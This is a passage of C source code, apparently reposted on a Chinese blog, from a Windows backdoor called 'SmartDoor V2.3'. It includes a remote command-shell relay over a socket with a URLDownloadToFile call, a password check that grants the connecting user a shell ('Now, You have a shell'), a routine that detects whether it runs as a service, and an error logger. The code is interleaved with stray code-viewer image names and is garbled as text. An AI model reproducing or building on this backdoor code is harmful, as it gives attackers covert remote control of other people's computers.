InBlock.gif            LogToFile( 
"URLDownloadToFile",  GetLastError() ); 
InBlock.gif
InBlock.gif            WriteFile(hwp1,
"\r\n",2,&lbyte,0); 
InBlock.gif            
continue;
ExpandedSubBlockEnd.gif        }

InBlock.gif
InBlock.gif        WriteFile(hwp1,szBuf,ret,
&lbyte,0); 
InBlock.gif
InBlock.gif        
if(!strncmp(szBuf,"exit"4|| !strncmp(szBuf,"shut"4))
ExpandedSubBlockStart.gifContractedSubBlock.gif        
dot.gif
InBlock.gif            
// 写退出信息
InBlock.gif
            send(*csock, exitok, strlen(exitok), 0);
InBlock.gif            
break;
ExpandedSubBlockEnd.gif        }
 
InBlock.gif
InBlock.gif        Sleep(
300); 
ExpandedSubBlockEnd.gif    }
 
InBlock.gif
InBlock.gif    
//杀死cmd进程并关闭管道 
InBlock.gif
    if (!TerminateProcess( pi.hProcess, 0 ))
ExpandedSubBlockStart.gifContractedSubBlock.gif    
dot.gif{
InBlock.gif        LogToFile( 
"TerminateProcess",  GetLastError() ); 
ExpandedSubBlockEnd.gif    }

InBlock.gif
InBlock.gif    CloseHandle( hrp1 ); 
InBlock.gif    CloseHandle( hrp2 ); 
InBlock.gif    CloseHandle( hwp1 ); 
InBlock.gif    CloseHandle( hwp2 ); 
InBlock.gif
InBlock.gif    
return 0;
ExpandedBlockEnd.gif}

None.gif
None.gif
bool  Passport(SOCKET  * csock)
ExpandedBlockStart.gifContractedBlock.gif
dot.gif {
InBlock.gif    #ifdef _MYEXE
InBlock.gif    
char *messages = "\r\n==========        SmartDoor exe V2.3            ==========\
InBlock.gif
                    \r\n==========        Code by dream2fly              ==========\
InBlock.gif                    \r\n
========== Welcome to [url]Http://www.dream2fly.net[/url]  ==========\r\n";
InBlock.gif
#else 
InBlock.gif    
char *messages = "\r\n==========        SmartDoor dll V2.3            ==========\
InBlock.gif
                    \r\n==========        Code by dream2fly              ==========\
InBlock.gif                    \r\n
========== Welcome to [url]Http://www.dream2fly.net[/url]  ==========\r\n";
InBlock.gif
#endif
InBlock.gif    
char *getpass = "\r\nPlease input your password:";
InBlock.gif    
char *passok = "\r\nLogin success!Now, You have a shell^_^\r\n\n";
InBlock.gif    
char *passwrong = "\r\nSorry,your password is wrong.Please try again..";
InBlock.gif    
char *userwrong = "\r\nSorry,you have tried more than three times,byebye!\r\n";
InBlock.gif
ExpandedSubBlockStart.gifContractedSubBlock.gif    
char Buf[1024]=dot.gif{0}
InBlock.gif    unsigned 
int count;
InBlock.gif
InBlock.gif    
//设置超时 
InBlock.gif
    int ntime=50000
InBlock.gif    
int ret=setsockopt(*csock,SOL_SOCKET,SO_RCVTIMEO,(char*)&ntime,sizeof(ntime)); 
InBlock.gif    
if(ret==SOCKET_ERROR)
ExpandedSubBlockStart.gifContractedSubBlock.gif    
dot.gif
InBlock.gif        LogToFile( 
"Passport->setsockopt",  GetLastError() );
InBlock.gif        exit(
-1); 
ExpandedSubBlockEnd.gif    }
 
InBlock.gif
InBlock.gif    
// 显示版权,验证密码    
InBlock.gif
    send(*csock,messages,strlen(messages),0); 
InBlock.gif    send(
*csock,getpass,strlen(getpass),0); 
InBlock.gif
InBlock.gif    Sleep(
10000);
InBlock.gif
InBlock.gif    
//接收数据
InBlock.gif
    recv(*csock,Buf,1024,0);
InBlock.gif
InBlock.gif    count
=0;
InBlock.gif    
while(!(strstr(Buf, PASSWORD)))
ExpandedSubBlockStart.gifContractedSubBlock.gif    
dot.gif
InBlock.gif        count
++;
InBlock.gif        
if(count>3)
ExpandedSubBlockStart.gifContractedSubBlock.gif        
dot.gif{
InBlock.gif            send(
*csock, userwrong, strlen(userwrong), 0);
InBlock.gif            
return false;
InBlock.gif            
//DisconnectEx(*csock, NULL ,0 ,0);
ExpandedSubBlockEnd.gif
        }

InBlock.gif        
//如果密码错误,写密码错误信息
InBlock.gif
        send(*csock, passwrong, strlen(passwrong), 0); 
InBlock.gif        
//继续验证密码 
InBlock.gif
        send(*csock,getpass,strlen(getpass),0); 
InBlock.gif        Sleep(
8000);
InBlock.gif        
//接收数据
InBlock.gif
        memset(Buf,0,1024);
InBlock.gif        recv(
*csock,Buf,1024,0);
ExpandedSubBlockEnd.gif    }

InBlock.gif
InBlock.gif    
//通过验证
InBlock.gif
    send(*csock, passok, strlen(passok), 0);
InBlock.gif        
InBlock.gif    
return true;
ExpandedBlockEnd.gif}

None.gif
None.gif
//  This process is a service or is not ?
None.gif
DWORD IsService( BOOL &  isService )
ExpandedBlockStart.gifContractedBlock.gif
dot.gif {
InBlock.gif  DWORD pID 
= GetCurrentProcessId(); 
InBlock.gif    HANDLE hProcessToken 
= NULL;
InBlock.gif    DWORD groupLength 
= 50;
InBlock.gif    PTOKEN_GROUPS groupInfo 
= NULL;
InBlock.gif
InBlock.gif    SID_IDENTIFIER_AUTHORITY siaNt 
= SECURITY_NT_AUTHORITY;
InBlock.gif    PSID pInteractiveSid 
= NULL;
InBlock.gif    PSID pServiceSid 
= NULL;
InBlock.gif
InBlock.gif    DWORD dwRet 
= NO_ERROR;
InBlock.gif    
InBlock.gif    
// reset flags
InBlock.gif
    BOOL isInteractive = FALSE;
InBlock.gif    isService 
= FALSE;
InBlock.gif
InBlock.gif    DWORD ndx;
InBlock.gif
InBlock.gif    HANDLE hProcess 
= OpenProcess( PROCESS_ALL_ACCESS, FALSE, pID );
InBlock.gif
InBlock.gif    
// open the token
InBlock.gif
    if (!::OpenProcessToken( hProcess, TOKEN_QUERY, &hProcessToken) )
ExpandedSubBlockStart.gifContractedSubBlock.gif    
dot.gif{
InBlock.gif        dwRet 
= ::GetLastError();
InBlock.gif        
goto closedown;
ExpandedSubBlockEnd.gif    }

InBlock.gif
InBlock.gif    
// allocate a buffer of default size
InBlock.gif
    groupInfo = (PTOKEN_GROUPS)::LocalAlloc(0, groupLength);
InBlock.gif    
if (groupInfo == NULL)
ExpandedSubBlockStart.gifContractedSubBlock.gif    
dot.gif{
InBlock.gif        dwRet 
= ::GetLastError();
InBlock.gif        
goto closedown;
ExpandedSubBlockEnd.gif    }

InBlock.gif
InBlock.gif    
// try to get the info
InBlock.gif
    if (!::GetTokenInformation(hProcessToken, TokenGroups,
InBlock.gif        groupInfo, groupLength, 
&groupLength))
ExpandedSubBlockStart.gifContractedSubBlock.gif    
dot.gif{
InBlock.gif        
// if buffer was too small, allocate to proper size, otherwise error
InBlock.gif
        if (::GetLastError() != ERROR_INSUFFICIENT_BUFFER)
ExpandedSubBlockStart.gifContractedSubBlock.gif        
dot.gif{
InBlock.gif            dwRet 
= ::GetLastError();
InBlock.gif            
goto closedown;
ExpandedSubBlockEnd.gif        }

InBlock.gif
InBlock.gif        ::LocalFree(groupInfo);
InBlock.gif
InBlock.gif        groupInfo 
= (PTOKEN_GROUPS)::LocalAlloc(0, groupLength);
InBlock.gif        
if (groupInfo == NULL)
ExpandedSubBlockStart.gifContractedSubBlock.gif        
dot.gif{
InBlock.gif            dwRet 
= ::GetLastError();
InBlock.gif            
goto closedown;
ExpandedSubBlockEnd.gif        }

InBlock.gif
InBlock.gif        
if (!GetTokenInformation(hProcessToken, TokenGroups,
InBlock.gif            groupInfo, groupLength, 
&groupLength))
ExpandedSubBlockStart.gifContractedSubBlock.gif        
dot.gif{
InBlock.gif            dwRet 
= ::GetLastError();
InBlock.gif            
goto closedown;
ExpandedSubBlockEnd.gif        }

ExpandedSubBlockEnd.gif    }

InBlock.gif
InBlock.gif    
// create comparison sids
InBlock.gif
    if (!AllocateAndInitializeSid(&siaNt, 1, SECURITY_INTERACTIVE_RID,
InBlock.gif        
0000000&pInteractiveSid))
ExpandedSubBlockStart.gifContractedSubBlock.gif    
dot.gif{
InBlock.gif        dwRet 
= ::GetLastError();
InBlock.gif        
goto closedown;
ExpandedSubBlockEnd.gif    }

InBlock.gif
InBlock.gif    
if (!AllocateAndInitializeSid(&siaNt, 1, SECURITY_SERVICE_RID,
InBlock.gif        
0000000&pServiceSid))
ExpandedSubBlockStart.gifContractedSubBlock.gif    
dot.gif{
InBlock.gif        dwRet 
= ::GetLastError();
InBlock.gif        
goto closedown;
ExpandedSubBlockEnd.gif    }

InBlock.gif
InBlock.gif    
// try to match sids
InBlock.gif
    for (ndx = 0; ndx < groupInfo->GroupCount ; ndx += 1)
ExpandedSubBlockStart.gifContractedSubBlock.gif    
dot.gif{
InBlock.gif        SID_AND_ATTRIBUTES sanda 
= groupInfo->Groups[ndx];
InBlock.gif        PSID pSid 
= sanda.Sid;
InBlock.gif
InBlock.gif        
if (::EqualSid(pSid, pInteractiveSid))
ExpandedSubBlockStart.gifContractedSubBlock.gif        
dot.gif{
InBlock.gif            isInteractive 
= TRUE;
InBlock.gif            isService 
= FALSE;
InBlock.gif            
break;
ExpandedSubBlockEnd.gif        }

InBlock.gif        
else if (::EqualSid(pSid, pServiceSid))
ExpandedSubBlockStart.gifContractedSubBlock.gif        
dot.gif{
InBlock.gif            isService 
= TRUE;
InBlock.gif            isInteractive 
= FALSE;
InBlock.gif            
break;
ExpandedSubBlockEnd.gif        }

ExpandedSubBlockEnd.gif    }

InBlock.gif
InBlock.gif  
if ( !( isService || isInteractive ) )
InBlock.gif        isService 
= TRUE;
InBlock.gif        
InBlock.gifclosedown:
InBlock.gif        
if ( pServiceSid )
InBlock.gif            ::FreeSid( pServiceSid );
InBlock.gif
InBlock.gif        
if ( pInteractiveSid )
InBlock.gif            ::FreeSid( pInteractiveSid );
InBlock.gif
InBlock.gif        
if ( groupInfo )
InBlock.gif            ::LocalFree( groupInfo );
InBlock.gif
InBlock.gif        
if ( hProcessToken )
InBlock.gif            ::CloseHandle( hProcessToken );
InBlock.gif
InBlock.gif        
if ( hProcess )
InBlock.gif            ::CloseHandle( hProcess );
InBlock.gif
InBlock.gif    
return dwRet;
ExpandedBlockEnd.gif}

None.gif
ExpandedBlockStart.gifContractedBlock.gif
/**/ //
None.gif // 记录日志函数 
ExpandedBlockStart.gifContractedBlock.gif
/**/ //
None.gif
None.gif#ifdef _DEBUG 
None.gif
void  LogToFile( const   char   * str,  int  nErrNo) 
ExpandedBlockStart.gifContractedBlock.gif
dot.gif
InBlock.gif    
static char DEBUG_LOG[MAX_PATH] = "D:\\编程资料\\projects\\SDoor\\SmartDoor.log";
InBlock.gif
InBlock.gif    FILE    
*fp; 
InBlock.gif    fp 
= fopen( DEBUG_LOG, "a" ); 
InBlock.gif
InBlock.gif    LPVOID lpMsgBuf;
InBlock.gif    FormatMessage(
InBlock.gif        FORMAT_MESSAGE_ALLOCATE_BUFFER 
|
InBlock.gif        FORMAT_MESSAGE_FROM_SYSTEM 
|
InBlock.gif        FORMAT_MESSAGE_IGNORE_InsertS,
InBlock.gif        NULL,
InBlock.gif        nErrNo,
InBlock.gif        MAKELANGID(LANG_NEUTRAL, SUBLANG_DEFAULT),
InBlock.gif        (LPTSTR)
&lpMsgBuf,
InBlock.gif        
0,
InBlock.gif        NULL
InBlock.gif        );
InBlock.gif
ExpandedSubBlockStart.gifContractedSubBlock.gif    
char szErrBuf[BUFLEN] = dot.gif0 }
InBlock.gif    sprintf( szErrBuf, 
"[SmartLog]\r\nErrorFun =  -|%s|-\r\nErrorNum = %d\r\nErrorMsg = %s\r\n",str, nErrNo, (LPCTSTR)lpMsgBuf);    
InBlock.gif
InBlock.gif    fputs(szErrBuf, fp );    
InBlock.gif    fclose( fp );    
InBlock.gif
InBlock.gif    LocalFree (lpMsgBuf);    
InBlock.gif    
//printf(szErrBuf);
ExpandedBlockEnd.gif
}
 
None.gif
#else
None.gif
void  LogToFile( const   char   * str ,  int  nErrNo) 
ExpandedBlockStart.gifContractedBlock.gif
dot.gif
InBlock.gif    ;
ExpandedBlockEnd.gif}
 
None.gif
#endif

转载于:https://www.cnblogs.com/nniixl/archive/2007/05/21/753768.html

  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值